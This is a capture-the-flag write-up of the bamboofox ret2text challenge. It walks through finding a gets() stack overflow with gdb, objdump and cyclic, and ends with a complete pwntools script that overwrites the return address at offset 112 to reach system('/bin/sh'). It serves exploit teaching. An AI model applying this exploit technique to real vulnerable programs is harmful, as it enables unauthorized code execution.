APP:
https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2text/bamboofox-ret2text/ret2text
TOOLS:
pwntools gef gdb objdump readelf
Solution:
Ret2text is the existing code (. text) of the control program execution program itself. In fact, this attack method is a general description. When we control the existing code of the executing program, we can also control the program to execute several segments of the existing code of the non-adjacent program (i.e. gadgets), which is what we want to say about ROP.
At this point, we need to know the location of the corresponding returned code. Of course, programs may also turn on some protection, and we need to find ways to bypass it.
First, take a look at the program's protection mechanism
┌─[root@parrot]─[~/ROP]
└──╼ #checksec ret2text
[*] '/root/ROP/ret2text'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled //Non-executeable protection has been enabled.
PIE: No PIE (0x8048000)
It can been seen that the program is a 32-bit program, which the non-executable protection has been enabled for stack.
┌─[root@parrot]─[~/ROP]
└──╼ #gdb ret2text
gef➤ disassemble main
Dump of assembler code for function main:
0x08048648 <+0>: push ebp
0x08048649 <+1>: mov ebp,esp
0x0804864b <+3>: and esp,0xfffffff0
0x0804864e <+6>: add esp,0xffffff80
0x08048651 <+9>: mov eax,ds:0x804a060
0x08048656 <+14>: mov DWORD PTR [esp+0xc],0x0
0x0804865e <+22>: mov DWORD PTR [esp+0x8],0x2
0x08048666 <+30>: mov DWORD PTR [esp+0x4],0x0
0x0804866e <+38>: mov DWORD PTR [esp],eax
0x08048671 <+41>: call 0x80484d0 <setvbuf@plt>
0x08048676 <+46>: mov eax,ds:0x804a040
0x0804867b <+51>: mov DWORD PTR [esp+0xc],0x0
0x08048683 <+59>: mov DWORD PTR [esp+0x8],0x1
0x0804868b <+67>: mov DWORD PTR [esp+0x4],0x0
0x08048693 <+75>: mov DWORD PTR [esp],eax
0x08048696 <+78>: call 0x80484d0 <setvbuf@plt>
0x0804869b <+83>: mov DWORD PTR [esp],0x804876c
0x080486a2 <+90>: call 0x8048480 <puts@plt>
0x080486a7 <+95>: lea eax,[esp+0x1c]
0x080486ab <+99>: mov DWORD PTR [esp],eax
0x080486ae <+102>: call 0x8048460 <gets@plt> //gets() function exist,so there seems to be a stack overflow.
0x080486b3 <+107>: mov DWORD PTR [esp],0x80487a4
0x080486ba <+114>: call 0x8048450 <printf@plt>
0x080486bf <+119>: mov eax,0x0
0x080486c4 <+124>: leave
0x080486c5 <+125>: ret
End of assembler dump.
The routine thinking is that where system function is called and whether '/bin/sh' can been executed.
We use objdump command to check the plt address of system and found the calling address for system function.
The address is 0x8048641.
─[✗]─[root@parrot]─[~/ROP]
└──╼ #objdump -D ret2text|grep 'system'
08048490 <system@plt>:
8048641: e8 4a fe ff ff call 8048490 <system@plt>
┌─[root@parrot]─[~/ROP] └──╼ #readelf -S ret2text |grep AX //Check executiton privilege sections.
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[11] .init PROGBITS 0804841c 00041c 000023 00 AX 0 0 4
[12] .plt PROGBITS 08048440 000440 0000c0 04 AX 0 0 16
[13] .text PROGBITS 08048500 000500 000242 00 AX 0 0 16
[14] .fini PROGBITS 08048744 000744 000014 00 AX 0 0 4
Check the system function calling address whether exist in execution secion .text.
┌─[root@parrot]─[~/ROP] └──╼ #python -c 'print 8048500 < 8048641 <8048500 + 242' True //The system calling address in .text section and has been enable executed privilege.
Disassemble ret2text and search system keyword.
┌─[root@parrot]─[~/ROP] └──╼ #objdump -D -j .text ret2text|less //Disassemble section .text and find 'system'.
ret2text: file format elf32-i386
08048500 <_start>:
8048500: 31 ed xor %ebp,%ebp
8048502: 5e pop %esi
8048503: 89 e1 mov %esp,%ecx
8048505: 83 e4 f0 and $0xfffffff0,%esp
8048508: 50 push %eax
8048509: 54 push %esp
804850a: 52 push %edx
804850b: 68 40 87 04 08 push $0x8048740
8048510: 68 d0 86 04 08 push $0x80486d0
8048515: 51 push %ecx
8048516: 56 push %esi
8048517: 68 48 86 04 08 push $0x8048648
804851c: e8 9f ff ff ff call 80484c0 <__libc_start_main@plt>
8048521: f4 hlt
8048522: 66 90 xchg %ax,%ax
8048524: 66 90 xchg %ax,%ax
8048526: 66 90 xchg %ax,%ax
8048528: 66 90 xchg %ax,%ax
804852a: 66 90 xchg %ax,%ax
804852c: 66 90 xchg %ax,%ax
804852e: 66 90 xchg %ax,%ax
08048530 <__x86.get_pc_thunk.bx>:
8048530: 8b 1c 24 mov (%esp),%ebx
8048533: c3 ret
8048534: 66 90 xchg %ax,%ax
8048536: 66 90 xchg %ax,%ax
8048538: 66 90 xchg %ax,%ax
/system
Found the usefull code in secure() function as below:
080485fd <secure>: 80485fd: 55 push ebp 80485fe: 89 e5 mov ebp,esp 8048600: 83 ec 28 sub esp,0x28 8048603: c7 04 24 00 00 00 00 mov DWORD PTR [esp],0x0 804860a: e8 61 fe ff ff call 8048470 <time@plt> 804860f: 89 04 24 mov DWORD PTR [esp],eax 8048612: e8 99 fe ff ff call 80484b0 <srand@plt> 8048617: e8 c4 fe ff ff call 80484e0 <rand@plt> 804861c: 89 45 f4 mov DWORD PTR [ebp-0xc],eax 804861f: 8d 45 f0 lea eax,[ebp-0x10] 8048622: 89 44 24 04 mov DWORD PTR [esp+0x4],eax 8048626: c7 04 24 60 87 04 08 mov DWORD PTR [esp],0x8048760 804862d: e8 be fe ff ff call 80484f0 <__isoc99_scanf@plt> 8048632: 8b 45 f0 mov eax,DWORD PTR [ebp-0x10] 8048635: 3b 45 f4 cmp eax,DWORD PTR [ebp-0xc] 8048638: 75 0c jne 8048646 <secure+0x49> 804863a: c7 04 24 63 87 04 08 mov DWORD PTR [esp],0x8048763 8048641: e8 4a fe ff ff call 8048490 <system@plt> 8048646: c9 leave 8048647: c3 ret
Because gets function exist,so we could use stack overflow to check the space length for input stack.
┌─[root@parrot]─[~/ROP]
└──╼ #cyclic 128 //Generate a string of 128 length for input payload.
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaab
┌─[root@parrot]─[~/ROP]
└──╼ #./ret2text
There is something amazing here, do you know anything?
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaab
┌─[✗]─[root@parrot]─[~/ROP]
└──╼ #dmesg |tail -2 //check the system log,we found the segfault address for ret2text is 0x62616164.
[ 8016.752174] ret2text[13814]: segfault at 62616164 ip 0000000062616164 sp 00000000ffb6b8c0 error 14 in libc-2.28.so[f7da6000+19000]
[ 8016.752185] Code: Bad RIP value.
┌─[✗]─[root@parrot]─[~/ROP]
└──╼ #cyclic -l 0x62616164 //check the segfault address's offset.
112
By the way,let me introduce how to open core dump trace.
┌─[root@parrot]─[~/ROP]
└──╼ #vi /etc/security/limits.conf
#<domain> <type> <item> <value>
* soft core ulimited //Add this line to limits.conf
┌─[✗]─[root@parrot]─[~/ROP]
└──╼ #echo "1" >/proc/sys/kernel/core_uses_pid
┌─[✗]─[root@parrot]─[~/ROP]
└──╼ #echo "core-%e-%p-%t" > /proc/sys/kernel/core_pattern
The format of corefile is:core-command-pid-timestamp
Follow In gdb session.
gef➤ disassemble secure Dump of assembler code for function secure: 0x080485fd <+0>: push ebp 0x080485fe <+1>: mov ebp,esp 0x08048600 <+3>: sub esp,0x28 0x08048603 <+6>: mov DWORD PTR [esp],0x0 0x0804860a <+13>: call 0x8048470 <time@plt> 0x0804860f <+18>: mov DWORD PTR [esp],eax 0x08048612 <+21>: call 0x80484b0 <srand@plt> 0x08048617 <+26>: call 0x80484e0 <rand@plt> 0x0804861c <+31>: mov DWORD PTR [ebp-0xc],eax 0x0804861f <+34>: lea eax,[ebp-0x10] 0x08048622 <+37>: mov DWORD PTR [esp+0x4],eax 0x08048626 <+41>: mov DWORD PTR [esp],0x8048760 0x0804862d <+48>: call 0x80484f0 <__isoc99_scanf@plt> 0x08048632 <+53>: mov eax,DWORD PTR [ebp-0x10] 0x08048635 <+56>: cmp eax,DWORD PTR [ebp-0xc] 0x08048638 <+59>: jne 0x8048646 <secure+73> 0x0804863a <+61>: mov DWORD PTR [esp],0x8048763 //There have a parameter for system function calling 0x08048641 <+68>: call 0x8048490 <system@plt> 0x08048646 <+73>: leave 0x08048647 <+74>: ret End of assembler dump. gef➤ x/s 0x8048763 0x8048763: "/bin/sh" //The parameter is '/bin/sh'.
So in address 0x0804863a,we could execute system('/bin/sh')
The payload script like below
#!/usr/bin/env python2
from pwn import *
sh = process('ret2text')
# bin_sh = 0x8048763 //The value of string '/bin/sh' is 0x8048763.
system_binsh_addr = 0x0804863a //The address of '/bin/sh'
# payload = ' /bin/sh'.ljust(112,'a') + p32(system_binsh_addr)
# payload = str(bin_sh).ljust(112,'a')+ p32(system_binsh_addr)
payload = 'a'*112 +p32(system_binsh_addr)
sh.sendlineafter('?',payload)
sh.interactive()